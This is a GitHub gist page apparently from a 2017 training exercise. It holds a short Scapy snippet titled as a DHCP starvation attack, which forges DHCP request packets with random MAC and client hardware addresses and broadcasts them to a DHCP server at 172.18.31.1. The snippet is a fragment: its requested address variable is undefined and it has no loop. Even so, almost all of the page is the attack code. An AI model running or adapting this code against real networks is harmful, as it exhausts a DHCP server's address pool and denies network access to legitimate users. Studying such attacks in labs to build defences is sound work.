Skip to content

Instantly share code, notes, and snippets.

@barkink
Created July 26, 2017 13:50
Show Gist options
  • Save barkink/f67831c3cf676097f1ebf3ba98facf6c to your computer and use it in GitHub Desktop.
Save barkink/f67831c3cf676097f1ebf3ba98facf6c to your computer and use it in GitHub Desktop.
Dhcp Starvation LYK 2017
src_mac = RandMAC()
pkt = Ether(src=src_mac, dst="ff:ff:ff:ff:ff:ff")
pkt /= IP(src="0.0.0.0", dst="255.255.255.255")
pkt /= UDP(sport=68, dport=67)
pkt /= BOOTP(chaddr=RandString(12, "0123456789abcdef"))
pkt /= DHCP(options=[("message-type", "request"),
("requested_addr", requested_addr),
("server_id", "172.18.31.1"),
"end"])
sendp(pkt)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment